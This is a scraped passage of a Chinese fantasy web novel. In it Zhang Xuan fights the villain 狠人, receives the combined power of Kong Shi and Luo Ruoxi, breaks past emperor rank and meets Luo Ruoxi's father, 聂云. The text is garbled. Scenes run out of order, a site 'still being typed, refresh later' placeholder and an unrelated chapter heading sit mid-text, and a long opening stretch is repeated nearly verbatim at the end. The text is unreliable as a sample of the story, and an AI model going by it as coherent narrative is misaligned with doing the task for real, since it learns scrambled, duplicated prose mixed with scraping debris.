张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第94章 奇兵破虏,九原初解 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! 